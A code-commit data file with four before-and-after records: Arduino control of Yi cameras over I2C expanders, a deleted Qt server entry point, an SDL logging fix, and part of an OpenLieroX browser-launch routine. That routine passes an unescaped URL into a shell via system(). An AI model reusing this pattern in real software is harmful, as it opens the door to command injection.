{"text":"<commit_before>\/*\nPremière version du programme de controle des Yi\n*\/\n#include <Arduino.h>\n#include <Wire.h>\n\n\n\/\/const int shutter_pin = 2;\n\/\/const int power_pin = 4;\nconst int powerup_button_pin = 5;\nconst int powerdown_button_pin = 6;\nconst int tmlapse_start_pin = 7;\nconst int tmlapse_stop_pin = 8;\n\/\/const int shutter_led_pin = A0;\nconst int shutter_led_pin = 3;\nconst int shutter_button_pin = 9;\n\nint pic_count = 0; \/\/ picture counter\nint after_pic_delay = 800;\nvolatile int shutter_led_counter = 0;\nlong old_timestamp = 0;\nlong current_timestamp = 0;\nconst byte cam_range = 0b00000001;\n\n\/\/ MCP23017 registers (everything except direction defaults to 0)\n\n#define IODIRA   0x00   \/\/ IO direction  (0 = output, 1 = input (Default))\n#define IODIRB   0x01\n#define IOPOLA   0x02   \/\/ IO polarity   (0 = normal, 1 = inverse)\n#define IOPOLB   0x03\n#define GPINTENA 0x04   \/\/ Interrupt on change (0 = disable, 1 = enable)\n#define GPINTENB 0x05\n#define DEFVALA  0x06   \/\/ Default comparison for interrupt on change (interrupts on opposite)\n#define DEFVALB  0x07\n#define INTCONA  0x08   \/\/ Interrupt control (0 = interrupt on change from previous, 1 = interrupt on change from DEFVAL)\n#define INTCONB  0x09\n#define IOCON    0x0A   \/\/ IO Configuration: bank\/mirror\/seqop\/disslw\/haen\/odr\/intpol\/notimp\n\/\/#define IOCON 0x0B  \/\/ same as 0x0A\n#define GPPUA    0x0C   \/\/ Pull-up resistor (0 = disabled, 1 = enabled)\n#define GPPUB    0x0D\n#define INFTFA   0x0E   \/\/ Interrupt flag (read only) : (0 = no interrupt, 1 = pin caused interrupt)\n#define INFTFB   0x0F\n#define INTCAPA  0x10   \/\/ Interrupt capture (read only) : value of GPIO at time of last interrupt\n#define INTCAPB  0x11\n#define GPIOA    0x12   \/\/ Port value. Write to change, read to obtain value\n#define GPIOB    0x13\n#define OLLATA   0x14   \/\/ Output latch. Write to latch output.\n#define OLLATB   0x15\n\n#define mcp1 0x20  \/\/ MCP23017 n°1 (shutter and power) is on I2C port 0x20\n#define mcp2 0x21  \/\/ MCP23017 n°2 (shutter led input) is on I2C port 0x21\n\n#define ISR_INDICATOR 12  \/\/ pin 12\n#define ONBOARD_LED 13    \/\/ pin 13\nvolatile bool sht_led_activity;\nint sht_LedToggle_array[8];\nunsigned long time = 0;\n\n\nvoid expanderWrite (const byte port, const byte reg, const byte data ){\n  Wire.beginTransmission (port);\n  Wire.write (reg);\n  Wire.write (data);\n  Wire.endTransmission ();\n} \/\/ end of expanderWrite\n\n\/\/ read a byte from the expander\nunsigned int expanderRead (const byte port, const byte reg){\n  Wire.beginTransmission (port);\n  Wire.write (reg);\n  Wire.endTransmission ();\n  Wire.requestFrom (port, 1);\n  return Wire.read();\n} \/\/ end of expanderRead\n\n\/\/ interrupt service routine, called when pin D2 goes from 0 to 1\nvoid mcp2_interrupt ()\n{\n  digitalWrite (ISR_INDICATOR, HIGH);  \/\/ debugging\n  sht_led_activity = true;   \/\/ set flag so main loop knows\n}  \/\/ end of mcp2_interrupt\n\nvoid myISR() {\n  shutter_led_counter++;\n}\n\nvoid setup() {\n  pinMode (ISR_INDICATOR, OUTPUT);  \/\/ for testing (ISR indicator)\n  pinMode (ONBOARD_LED, OUTPUT);  \/\/ for onboard LED\n  Serial.begin(9600);\n  Serial.println(\"Starting program\");\n  Wire.begin ();\n  \/\/ Set expander n°1 I\/O as output\n  expanderWrite(mcp1, IODIRA, 0x00);\n  expanderWrite(mcp1, IODIRB, 0x00);\n\n  \/\/ Set expander n°2 I\/O as output. We will set inputs later\n  expanderWrite(mcp2, IODIRA, 0x00);\n  expanderWrite(mcp2, IODIRB, 0x00);\n\n  \/\/ TODO set dynamically the pins as output\n  \/\/ enable GPIOA pins as input\n  expanderWrite(mcp2, IODIRA, 0xFF);\n  \/\/ enable pull-up on switches\n  expanderWrite(mcp2, GPPUA, 0xFF);\n  \/\/ expander configuration register\n  expanderWrite(mcp2, IOCON, 0b01100010); \/\/ no mirror interrupts, disable sequential mode, active HIGH\n\n  \/\/ invert polarity\n  \/\/expanderWrite(mcp2, IOPOLA, 0xFF);  \/\/ invert polarity of signal - both ports\n\n  \/\/ enable interrupts\n  expanderWrite (mcp2, GPINTENA, cam_range); \/\/ enable interrupts\n\n  \/\/expanderWriteBoth(DEFVALA, 0b00000000); \/\/ defini la valeur par défaut à 0\n  expanderWrite(mcp2, INTCONA, 0b00000000);\/\/ Active le mode \"on change\"\n  \/\/ FIN MES TESTS\n  \/\/ no interrupt yet\n  sht_led_activity = false;\n\n  \/\/ read from interrupt capture ports to clear them\n  expanderRead (mcp2, INTCAPA);\n  expanderRead (mcp2, INTCAPB);\n\n  \/\/ pin 19 of MCP23017 is plugged into D2 of the Arduino which is interrupt 0\n  attachInterrupt(0, mcp2_interrupt, RISING);\n  \/\/attachInterrupt(digitalPinToInterrupt(shutter_led_pin), mcp2_interrupt, CHANGE);\n\n  \/\/ pinMode(shutter_pin, OUTPUT);\n  \/\/ pinMode(power_pin, OUTPUT);\n  pinMode(powerup_button_pin, INPUT_PULLUP);\n  pinMode(powerdown_button_pin, INPUT_PULLUP);\n  pinMode(tmlapse_start_pin, INPUT_PULLUP);\n  pinMode(tmlapse_stop_pin, INPUT_PULLUP);\n  pinMode(shutter_button_pin, INPUT_PULLUP);\n  pinMode(shutter_led_pin, INPUT);\n  \/\/pinMode(A5, INPUT);\n  \/\/attachInterrupt(digitalPinToInterrupt(shutter_led_pin), myISR, RISING);\n\n\n}\n\nvoid power_up_Yi(const byte cam_range) {\n  Serial.println(\"Starting the Yi\");\n  \/\/Set expander n°1 GPIOA to HIGH\n  expanderWrite(mcp1, GPIOA, cam_range);\n\n  delay(500);\n  \/\/Set expander n°1 GPIOA to LOW\n  expanderWrite(mcp1, GPIOA, 0b00000000);\n\n  Serial.println(\"Pause during the boot\");\n  delay(10000); \/\/attente mise en route\n  Serial.println(\"The cams should be ready\");\n}\n\nvoid power_down_Yi(const byte cam_range) {\n  Serial.println(\"Shutting down the Yi\");\n  \/\/Set expander n°1 GPIOA to HIGH\n  expanderWrite(mcp1, GPIOA, cam_range);\n\n  delay(2500);\n  \/\/Set expander n°1 GPIOA to LOW\n  expanderWrite(mcp1, GPIOA, 0b00000000);\n}\n\nvoid handle_Sht_led_activity ()\n{\n  unsigned int sht_LedValue = 0;\n  unsigned int sht_LedLastValue = 0;\n  \/\/Serial.println(\"Inside handle_Sht_led_activity function\");\n  sht_led_activity = false;  \/\/ ready for next time through the interrupt service routine\n  digitalWrite (ISR_INDICATOR, LOW);  \/\/ debugging\n\n  \/\/ Read port values, as required. Note that this re-arms the interrupts.\n\n  if (expanderRead (mcp2, INFTFA))\n    {\n\n    sht_LedValue |= expanderRead (mcp2, INTCAPA);        \/\/ port B is in low-order byte\n    }\n\n    Serial.print(\"sht_LedValue : \");\n    Serial.println(sht_LedValue, BIN);\n    Serial.print(\"last State : \");\n    Serial.println(sht_LedLastValue, BIN);\n    Serial.print(\"Ou exclusif : \");\n    Serial.println(sht_LedLastValue ^ sht_LedValue, BIN);\n    Serial.println(\"\");\n  Serial.println (\"Shutter Led toggles\");\n  \/\/Serial.println (\"0                   1\");\n  Serial.println (\"0 1 2 3 4 5 6 7\");\n\n  \/\/ display which buttons were down at the time of the interrupt\n  for (byte sht_Led = 0; sht_Led < 8; sht_Led++)\n    {\n    if ((sht_LedLastValue ^ sht_LedValue) & (1 << sht_Led)){\n      \/\/Serial.print (\"01 \");\n      sht_LedToggle_array[sht_Led]+=1;\n      Serial.print(sht_LedToggle_array[sht_Led]);\n      Serial.print(\" \");\n      }\n    else {\n      \/\/Serial.print (\"00 \");\n      Serial.print(sht_LedToggle_array[sht_Led]);\n      Serial.print(\" \");\n      }\n\n    }\n  sht_LedLastValue = sht_LedValue;\n  Serial.println ();\n\n  \/\/ if a switch is now pressed, turn LED on  (key down event)\n  if (sht_LedValue)\n    {\n    time = millis ();  \/\/ remember when\n    digitalWrite (ONBOARD_LED, HIGH);  \/\/ on-board LED\n    }  \/\/ end if\n\n}  \/\/ end of handle_Sht_led_activity\n\n\/\/Take a picture\nlong take_picture(const byte cam_range) {\n  Serial.println(\"Taking picture...\");\n  long pic_start_time = millis();\n  byte shutter_led_check = 0b00000000;\n  memset(sht_LedToggle_array,0,sizeof(sht_LedToggle_array\n  )); \/\/Reset the array\n\n  \/\/Set expander n°1 GPIOB to HIGH to \"press\" the shutter button\n  expanderWrite(mcp1, GPIOB, cam_range);\n  delay(100);\n  \/\/Set expander n°1 GPIOB to LOW to \"release\" the shutter button\n  expanderWrite(mcp1, GPIOB, 0b00000000);\n\n  while (shutter_led_check != cam_range) { \/\/ Wait for the shutter led return\n    if (sht_led_activity) {\n      handle_Sht_led_activity();\n\n      for (byte sht_Led = 0; sht_Led < 8; sht_Led++)\n      {\n        if ((sht_LedToggle_array[sht_Led] == 1) & (cam_range & (1 << sht_Led)))\n          {\n          shutter_led_check = shutter_led_check ^ (1 << sht_Led);\n          Serial.print(\"1 << sht_Led : \");\n          Serial.println(1 << sht_Led, BIN);\n          Serial.print(\"shutter_led_check : \");\n          Serial.println(shutter_led_check, BIN);\n        }\n        }\n      }\n    if (millis()-pic_start_time > 2500) {\n      Serial.println(\"No response\");\n      return 0;\n    }\n  }\n  Serial.println(\"Shutter leds detected\");\n\n  Serial.println(\"Pause\");\n  unsigned long delay_Start_Time = millis();\n  \/\/ Wait for the cams to be ready, and check interrupt in case of a failure\n  while (millis() < (delay_Start_Time + after_pic_delay)) {\n    if (sht_led_activity) {\n      handle_Sht_led_activity();\n      for (byte sht_Led = 0; sht_Led < 8; sht_Led++)\n      {\n        if ((sht_LedToggle_array[sht_Led] > 1) & (cam_range & (1 << sht_Led)))\n        {\n          Serial.print(\"Error on cam n°\");\n          Serial.println(sht_Led);\n          return -1;\n        }\n      }\n\n    }\n\n    }\n  Serial.println(\"End of pause\");\n  return pic_start_time;\n}\n\n\nvoid timelapse(const byte cam_range) {\n  Serial.println(\"Starting timelapse\");\n  int pic_shutter_request = 0;\n  int pic_shutter_taken = 0;\n  while (true) {\n    current_timestamp = take_picture(cam_range);\n    pic_shutter_request++;\n    Serial.print(\"Interval : \");\n    Serial.print(current_timestamp - old_timestamp);\n    Serial.println(\"ms\");\n    if (current_timestamp != 0) {\n      old_timestamp = current_timestamp;\n      pic_shutter_taken++;\n      Serial.print(\"Successful pictures : \");\n      Serial.print(pic_shutter_taken);\n      Serial.print(\" of \");\n      Serial.println(pic_shutter_request);\n      Serial.print(\"Missing pictures : \");\n      Serial.println(pic_shutter_request - pic_shutter_taken);\n    }\n\n    if (digitalRead(tmlapse_stop_pin) == LOW) {\n      Serial.println(\"Timelapse stopped\");\n      break;\n    }\n  }\n}\n\nvoid loop() {\n\n  if (digitalRead(powerup_button_pin) == LOW) {\n    power_up_Yi(cam_range);\n  }\n\n  if (digitalRead(powerdown_button_pin) == LOW) {\n    power_down_Yi(cam_range);\n  }\n\n  if (digitalRead(shutter_button_pin) == LOW) {\n    Serial.println(take_picture(cam_range));\n  }\n\n  if (digitalRead(tmlapse_start_pin) == LOW) {\n    timelapse(cam_range);\n  }\n\n  \/\/ turn LED off after 500 ms\n  if (millis () > (time + 200) && time != 0)\n   {\n    digitalWrite (ONBOARD_LED, LOW);\n    time = 0;\n   }  \/\/ end if time up\n\n}\n<commit_msg>xor to or and various serial debug msg commented<commit_after>\/*\nPremière version du programme de controle des Yi\n*\/\n#include <Arduino.h>\n#include <Wire.h>\n\n\n\/\/const int shutter_pin = 2;\n\/\/const int power_pin = 4;\nconst int powerup_button_pin = 5;\nconst int powerdown_button_pin = 6;\nconst int tmlapse_start_pin = 7;\nconst int tmlapse_stop_pin = 8;\n\/\/const int shutter_led_pin = A0;\nconst int shutter_led_pin = 3;\nconst int shutter_button_pin = 9;\n\nint pic_count = 0; \/\/ picture counter\nint after_pic_delay = 800;\nvolatile int shutter_led_counter = 0;\nlong old_timestamp = 0;\nlong current_timestamp = 0;\nconst byte cam_range = 0b00000001;\n\n\/\/ MCP23017 registers (everything except direction defaults to 0)\n\n#define IODIRA   0x00   \/\/ IO direction  (0 = output, 1 = input (Default))\n#define IODIRB   0x01\n#define IOPOLA   0x02   \/\/ IO polarity   (0 = normal, 1 = inverse)\n#define IOPOLB   0x03\n#define GPINTENA 0x04   \/\/ Interrupt on change (0 = disable, 1 = enable)\n#define GPINTENB 0x05\n#define DEFVALA  0x06   \/\/ Default comparison for interrupt on change (interrupts on opposite)\n#define DEFVALB  0x07\n#define INTCONA  0x08   \/\/ Interrupt control (0 = interrupt on change from previous, 1 = interrupt on change from DEFVAL)\n#define INTCONB  0x09\n#define IOCON    0x0A   \/\/ IO Configuration: bank\/mirror\/seqop\/disslw\/haen\/odr\/intpol\/notimp\n\/\/#define IOCON 0x0B  \/\/ same as 0x0A\n#define GPPUA    0x0C   \/\/ Pull-up resistor (0 = disabled, 1 = enabled)\n#define GPPUB    0x0D\n#define INFTFA   0x0E   \/\/ Interrupt flag (read only) : (0 = no interrupt, 1 = pin caused interrupt)\n#define INFTFB   0x0F\n#define INTCAPA  0x10   \/\/ Interrupt capture (read only) : value of GPIO at time of last interrupt\n#define INTCAPB  0x11\n#define GPIOA    0x12   \/\/ Port value. Write to change, read to obtain value\n#define GPIOB    0x13\n#define OLLATA   0x14   \/\/ Output latch. Write to latch output.\n#define OLLATB   0x15\n\n#define mcp1 0x20  \/\/ MCP23017 n°1 (shutter and power) is on I2C port 0x20\n#define mcp2 0x21  \/\/ MCP23017 n°2 (shutter led input) is on I2C port 0x21\n\n#define ISR_INDICATOR 12  \/\/ pin 12\n#define ONBOARD_LED 13    \/\/ pin 13\nvolatile bool sht_led_activity;\nint sht_LedToggle_array[8];\nunsigned long time = 0;\n\n\nvoid expanderWrite (const byte port, const byte reg, const byte data ){\n  Wire.beginTransmission (port);\n  Wire.write (reg);\n  Wire.write (data);\n  Wire.endTransmission ();\n} \/\/ end of expanderWrite\n\n\/\/ read a byte from the expander\nunsigned int expanderRead (const byte port, const byte reg){\n  Wire.beginTransmission (port);\n  Wire.write (reg);\n  Wire.endTransmission ();\n  Wire.requestFrom (port, 1);\n  return Wire.read();\n} \/\/ end of expanderRead\n\n\/\/ interrupt service routine, called when pin D2 goes from 0 to 1\nvoid mcp2_interrupt ()\n{\n  digitalWrite (ISR_INDICATOR, HIGH);  \/\/ debugging\n  sht_led_activity = true;   \/\/ set flag so main loop knows\n}  \/\/ end of mcp2_interrupt\n\nvoid myISR() {\n  shutter_led_counter++;\n}\n\nvoid setup() {\n  pinMode (ISR_INDICATOR, OUTPUT);  \/\/ for testing (ISR indicator)\n  pinMode (ONBOARD_LED, OUTPUT);  \/\/ for onboard LED\n  Serial.begin(9600);\n  Serial.println(\"Starting program\");\n  Wire.begin ();\n  \/\/ Set expander n°1 I\/O as output\n  expanderWrite(mcp1, IODIRA, 0x00);\n  expanderWrite(mcp1, IODIRB, 0x00);\n\n  \/\/ Set expander n°2 I\/O as output. We will set inputs later\n  expanderWrite(mcp2, IODIRA, 0x00);\n  expanderWrite(mcp2, IODIRB, 0x00);\n\n  \/\/ TODO set dynamically the pins as output\n  \/\/ enable GPIOA pins as input\n  expanderWrite(mcp2, IODIRA, 0xFF);\n  \/\/ enable pull-up on switches\n  expanderWrite(mcp2, GPPUA, 0xFF);\n  \/\/ expander configuration register\n  expanderWrite(mcp2, IOCON, 0b01100010); \/\/ no mirror interrupts, disable sequential mode, active HIGH\n\n  \/\/ invert polarity\n  \/\/expanderWrite(mcp2, IOPOLA, 0xFF);  \/\/ invert polarity of signal - both ports\n\n  \/\/ enable interrupts\n  expanderWrite (mcp2, GPINTENA, cam_range); \/\/ enable interrupts\n\n  \/\/expanderWriteBoth(DEFVALA, 0b00000000); \/\/ defini la valeur par défaut à 0\n  expanderWrite(mcp2, INTCONA, 0b00000000);\/\/ Active le mode \"on change\"\n  \/\/ FIN MES TESTS\n  \/\/ no interrupt yet\n  sht_led_activity = false;\n\n  \/\/ read from interrupt capture ports to clear them\n  expanderRead (mcp2, INTCAPA);\n  expanderRead (mcp2, INTCAPB);\n\n  \/\/ pin 19 of MCP23017 is plugged into D2 of the Arduino which is interrupt 0\n  attachInterrupt(0, mcp2_interrupt, RISING);\n  \/\/attachInterrupt(digitalPinToInterrupt(shutter_led_pin), mcp2_interrupt, CHANGE);\n\n  \/\/ pinMode(shutter_pin, OUTPUT);\n  \/\/ pinMode(power_pin, OUTPUT);\n  pinMode(powerup_button_pin, INPUT_PULLUP);\n  pinMode(powerdown_button_pin, INPUT_PULLUP);\n  pinMode(tmlapse_start_pin, INPUT_PULLUP);\n  pinMode(tmlapse_stop_pin, INPUT_PULLUP);\n  pinMode(shutter_button_pin, INPUT_PULLUP);\n  pinMode(shutter_led_pin, INPUT);\n  \/\/pinMode(A5, INPUT);\n  \/\/attachInterrupt(digitalPinToInterrupt(shutter_led_pin), myISR, RISING);\n\n\n}\n\nvoid power_up_Yi(const byte cam_range) {\n  Serial.println(\"Starting the Yi\");\n  \/\/Set expander n°1 GPIOA to HIGH\n  expanderWrite(mcp1, GPIOA, cam_range);\n\n  delay(500);\n  \/\/Set expander n°1 GPIOA to LOW\n  expanderWrite(mcp1, GPIOA, 0b00000000);\n\n  Serial.println(\"Pause during the boot\");\n  delay(10000); \/\/attente mise en route\n  Serial.println(\"The cams should be ready\");\n}\n\nvoid power_down_Yi(const byte cam_range) {\n  Serial.println(\"Shutting down the Yi\");\n  \/\/Set expander n°1 GPIOA to HIGH\n  expanderWrite(mcp1, GPIOA, cam_range);\n\n  delay(2500);\n  \/\/Set expander n°1 GPIOA to LOW\n  expanderWrite(mcp1, GPIOA, 0b00000000);\n}\n\nvoid handle_Sht_led_activity ()\n{\n  unsigned int sht_LedValue = 0;\n  unsigned int sht_LedLastValue = 0;\n  \/\/Serial.println(\"Inside handle_Sht_led_activity function\");\n  sht_led_activity = false;  \/\/ ready for next time through the interrupt service routine\n  digitalWrite (ISR_INDICATOR, LOW);  \/\/ debugging\n\n  \/\/ Read port values, as required. Note that this re-arms the interrupts.\n\n  if (expanderRead (mcp2, INFTFA))\n    {\n\n    sht_LedValue |= expanderRead (mcp2, INTCAPA);        \/\/ port B is in low-order byte\n    }\n\n    \/*Serial.print(\"sht_LedValue : \");\n    Serial.println(sht_LedValue, BIN);\n    Serial.print(\"last State : \");\n    Serial.println(sht_LedLastValue, BIN);\n    Serial.print(\"Ou exclusif : \");\n    Serial.println(sht_LedLastValue ^ sht_LedValue, BIN);\n    Serial.println(\"\");\n  Serial.println (\"Shutter Led toggles\");\n  \/\/Serial.println (\"0                   1\");\n  Serial.println (\"0 1 2 3 4 5 6 7\");*\/\n\n  \/\/ display which buttons were down at the time of the interrupt\n  for (byte sht_Led = 0; sht_Led < 8; sht_Led++)\n    {\n    if ((sht_LedLastValue ^ sht_LedValue) & (1 << sht_Led)){\n      \/\/Serial.print (\"01 \");\n      sht_LedToggle_array[sht_Led]+=1;\n      \/*Serial.print(sht_LedToggle_array[sht_Led]);\n      Serial.print(\" \");*\/\n      }\n    else {\n      \/\/Serial.print (\"00 \");\n      \/*Serial.print(sht_LedToggle_array[sht_Led]);\n      Serial.print(\" \");*\/\n      }\n\n    }\n  sht_LedLastValue = sht_LedValue;\n\n  \/\/ if a switch is now pressed, turn LED on  (key down event)\n  if (sht_LedValue)\n    {\n    time = millis ();  \/\/ remember when\n    digitalWrite (ONBOARD_LED, HIGH);  \/\/ on-board LED\n    }  \/\/ end if\n\n}  \/\/ end of handle_Sht_led_activity\n\n\/\/Take a picture\nlong take_picture(const byte cam_range) {\n  Serial.println(\"Taking picture...\");\n  long pic_start_time = millis();\n  byte shutter_led_check = 0b00000000;\n  memset(sht_LedToggle_array,0,sizeof(sht_LedToggle_array\n  )); \/\/Reset the array\n\n  \/\/Set expander n°1 GPIOB to HIGH to \"press\" the shutter button\n  expanderWrite(mcp1, GPIOB, cam_range);\n  delay(100);\n  \/\/Set expander n°1 GPIOB to LOW to \"release\" the shutter button\n  expanderWrite(mcp1, GPIOB, 0b00000000);\n\n  while (shutter_led_check != cam_range) { \/\/ Wait for the shutter led return\n    if (sht_led_activity) {\n      handle_Sht_led_activity();\n\n      for (byte sht_Led = 0; sht_Led < 8; sht_Led++)\n      {\n        if ((sht_LedToggle_array[sht_Led] == 1) & (cam_range & (1 << sht_Led)))\n          {\n          shutter_led_check = shutter_led_check | (1 << sht_Led);\n          \/*Serial.print(\"1 << sht_Led : \");\n          Serial.println(1 << sht_Led, BIN);\n          Serial.print(\"shutter_led_check : \");\n          Serial.println(shutter_led_check, BIN);*\/\n        }\n        }\n      }\n    if (millis()-pic_start_time > 2500) {\n      Serial.println(\"No response\");\n      return 0;\n    }\n  }\n  Serial.println(\"Shutter leds detected\");\n\n  Serial.println(\"Pause\");\n  unsigned long delay_Start_Time = millis();\n  \/\/ Wait for the cams to be ready, and check interrupt in case of a failure\n  while (millis() < (delay_Start_Time + after_pic_delay)) {\n    if (sht_led_activity) {\n      handle_Sht_led_activity();\n      for (byte sht_Led = 0; sht_Led < 8; sht_Led++)\n      {\n        if ((sht_LedToggle_array[sht_Led] > 1) & (cam_range & (1 << sht_Led)))\n        {\n          Serial.print(\"Error on cam n°\");\n          Serial.println(sht_Led);\n          return -1;\n        }\n      }\n\n    }\n\n    }\n  Serial.println(\"End of pause\");\n  return pic_start_time;\n}\n\n\nvoid timelapse(const byte cam_range) {\n  Serial.println(\"Starting timelapse\");\n  int pic_shutter_request = 0;\n  int pic_shutter_taken = 0;\n  while (true) {\n    current_timestamp = take_picture(cam_range);\n    pic_shutter_request++;\n    Serial.print(\"Interval : \");\n    Serial.print(current_timestamp - old_timestamp);\n    Serial.println(\"ms\");\n    if (current_timestamp != 0) {\n      old_timestamp = current_timestamp;\n      pic_shutter_taken++;\n      Serial.print(\"Successful pictures : \");\n      Serial.print(pic_shutter_taken);\n      Serial.print(\" of \");\n      Serial.println(pic_shutter_request);\n      Serial.print(\"Missing pictures : \");\n      Serial.println(pic_shutter_request - pic_shutter_taken);\n    }\n\n    if (digitalRead(tmlapse_stop_pin) == LOW) {\n      Serial.println(\"Timelapse stopped\");\n      break;\n    }\n  }\n}\n\nvoid loop() {\n\n  if (digitalRead(powerup_button_pin) == LOW) {\n    power_up_Yi(cam_range);\n  }\n\n  if (digitalRead(powerdown_button_pin) == LOW) {\n    power_down_Yi(cam_range);\n  }\n\n  if (digitalRead(shutter_button_pin) == LOW) {\n    Serial.println(take_picture(cam_range));\n  }\n\n  if (digitalRead(tmlapse_start_pin) == LOW) {\n    timelapse(cam_range);\n  }\n\n  \/\/ turn LED off after 500 ms\n  if (millis () > (time + 200) && time != 0)\n   {\n    digitalWrite (ONBOARD_LED, LOW);\n    time = 0;\n   }  \/\/ end if time up\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <QCoreApplication>\n#include <QtCore\/QCommandLineParser>\n#include <QtCore\/QCommandLineOption>\n#include \"w3cserver.h\"\n\nint main(int argc, char *argv[])\n{\n    QCoreApplication a(argc, argv);\n\n    \/\/ check if we are running the server in secure mode (wss)\n    bool sec = false;\n    if (argc > 0){\n        QString str(argv[1]);\n        if (str == \"-secure\")\n            sec = true;\n    }\n\n    W3CServer *server = new W3CServer(8080,sec,true);\n    QObject::connect(server, &W3CServer::closed, &a, &QCoreApplication::quit);\n\n    return a.exec(); \/\/ start exec loop\n\n}\n<commit_msg>Delete main.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  WindowSettings.cpp\n\/\/  Hume\n\/\/\n\/\/  Created by Marshall Clyburn on 7\/11\/14.\n\/\/  Copyright (c) 2014 Marshall Clyburn. All rights reserved.\n\/\/\n\n#include \"WindowSettings.h\"\n\nnamespace hm\n{\n\t\/*\n\t Default to a fullscreen window at the maximum\n\t resolution supported by the attached screen.\n\t *\/\n\tWindowSettings::WindowSettings() : fullscreen(true), title(\"Hume Window\")\n\t{\n\t\tsetBestFullscreenMode();\n\t}\n\t\n\tWindowSettings::~WindowSettings()\n\t{\n\t\t\n\t}\n\t\n\t\/*\n\t Set the window to fullscreen at the best possible\n\t resolution attainable.\n\t*\/\n\tvoid WindowSettings::setBestFullscreenMode()\n\t{\n\t\tfullscreen = true;\n\t\tint display_mode_count = SDL_GetNumDisplayModes(0);\n\t\tif(display_mode_count < 1)\n\t\t{\n\t\t\tLogger::getLogger()->log(\"No available display modes.\", ERROR);\n\t\t\texit(0);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSDL_DisplayMode mode;\n\t\t\tint success;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tsuccess = SDL_GetDisplayMode(0, 0, &mode);\n\t\t\t}\n\t\t\twhile(success != 0);\n\t\t\t\n\t\t\tif(Logger::getLogger()->getLogLevel() >= LogLevel::INFO)\n\t\t\t{\n\t\t\t\tstd::string msg = \"Using resolution of \";\n\t\t\t\tmsg += mode.w;\n\t\t\t\tmsg += \"x\";\n\t\t\t\tmsg += mode.h;\n\t\t\t\tmsg += \".\";\n\t\t\t\tLogger::getLogger()->log(msg);\n\t\t\t}\n\t\t}\n\t}\n}\n<commit_msg>Fix logging resolution as chars.<commit_after>\/\/\n\/\/  WindowSettings.cpp\n\/\/  Hume\n\/\/\n\/\/  Created by Marshall Clyburn on 7\/11\/14.\n\/\/  Copyright (c) 2014 Marshall Clyburn. All rights reserved.\n\/\/\n\n#include \"WindowSettings.h\"\n\nnamespace hm\n{\n\t\/*\n\t Default to a fullscreen window at the maximum\n\t resolution supported by the attached screen.\n\t *\/\n\tWindowSettings::WindowSettings() : fullscreen(true), title(\"Hume Window\")\n\t{\n\t\tsetBestFullscreenMode();\n\t}\n\t\n\tWindowSettings::~WindowSettings()\n\t{\n\t\t\n\t}\n\t\n\t\/*\n\t Set the window to fullscreen at the best possible\n\t resolution attainable.\n\t*\/\n\tvoid WindowSettings::setBestFullscreenMode()\n\t{\n\t\tfullscreen = true;\n\t\tint display_mode_count = SDL_GetNumDisplayModes(0);\n\t\tif(display_mode_count < 1)\n\t\t{\n\t\t\tLogger::getLogger()->log(\"No available display modes.\", ERROR);\n\t\t\texit(0);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSDL_DisplayMode mode;\n\t\t\tint success;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tsuccess = SDL_GetDisplayMode(0, 0, &mode);\n\t\t\t}\n\t\t\twhile(success != 0);\n\t\t\t\n\t\t\tif(Logger::getLogger()->getLogLevel() >= LogLevel::INFO)\n\t\t\t{\n\t\t\t\tstd::string msg = \"Using resolution of \" +\n\t\t\t\tstd::to_string(mode.w) + \"x\" +\n\t\t\t\tstd::to_string(mode.h) + \".\";\n\t\t\t\tLogger::getLogger()->log(msg);\n\t\t\t}\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  OpenExternBrowser.cpp\n *  OpenLieroX\n *\n *  Created by Albert Zeyer on 29.09.08.\n *  code under LGPL\n *\n *\/\n\n\n#include <string>\n#include <iostream>\n#include <list>\n\n#ifdef __APPLE__\n#include <Carbon\/Carbon.h>\n#include <CoreFoundation\/CoreFoundation.h>\n#include <CoreServices\/CoreServices.h>\n#endif\n\n#ifdef WIN32\n#include <windows.h>\n#include <shellapi.h>\n#endif\n\n\n\n\/\/ declared in AuxLib.h; we are not including this to avoid problems with Rect\nvoid OpenLinkInExternBrowser(const std::string& url) {\n\tstd::cout << \"open in extern browser: \" << url << std::endl;\n\n#if defined(__APPLE__)\n\t\/\/ Thanks to Jooleem project (http:\/\/jooleem.sourceforge.net) for the code\n\n\t\/\/ Create a string ref of the URL:\n\tCFStringRef cfurlStr = CFStringCreateWithCString( NULL, url.c_str(), kCFStringEncodingASCII);\n\n\t\/\/ Create a URL object:\n\tCFURLRef cfurl = CFURLCreateWithString (NULL, cfurlStr, NULL);\n\n\t\/\/ Open the URL:\n\tLSOpenCFURLRef(cfurl, NULL);\n\n\t\/\/ Release the created resources:\n\tCFRelease(cfurl);\n\tCFRelease(cfurlStr);\n\n#elif defined(WIN32)\n\tShellExecute(NULL, \"open\", url.c_str(), NULL, NULL, SW_MAXIMIZE);\n\t\n#else\n\tstd::string browser = \"\";\n\t\n\tif (getenv(\"BROWSER\") != NULL) {\n\t\tbrowser = getenv(\"BROWSER\");\n\t}\n\t\n\tif(browser == \"\") {\n\t\t\/\/ test some browsers and take the first found\t\t\n\t\tstd::list<std::string> browsers;\n\t\tbrowsers.push_back(\"gnome-open\");\n\t\tbrowsers.push_back(\"sensible-browser\");\n\t\tbrowsers.push_back(\"firefox\");\n\t\tbrowsers.push_back(\"mozilla-firefox\");\n\t\tbrowsers.push_back(\"konqueror\");\n\t\tbrowsers.push_back(\"mozilla\");\n\t\tbrowsers.push_back(\"opera\");\n\t\tbrowsers.push_back(\"epiphany\");\n\t\tbrowsers.push_back(\"galeon\");\n\t\tbrowsers.push_back(\"netscape\");\n\n\t\tfor (std::list<std::string>::const_iterator it = browsers.begin(); it != browsers.end(); ++it) {\n\t\t\tif (::system((\"test -x \/usr\/bin\/\" + *it + \" -o -x \/usr\/bin\/X11\/\" + *it + \" -o -x \/usr\/local\/bin\/\" + *it).c_str()) == 0) {\n\t\t\t\tbrowser = *it;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif(browser == \"\") {\n\t\tstd::cout << \"WARNING: no browser found\" << std::endl;\n\t\treturn;\n\t} else\n\t\tstd::cout << \"Using \" << browser << \" as your default browser\" << std::endl;\n\t\n\t::system((browser + \" \" + url + \" &\").c_str());\n\t\n#endif\n}\n\n<commit_msg>small fix: missing include<commit_after>\/*\n *  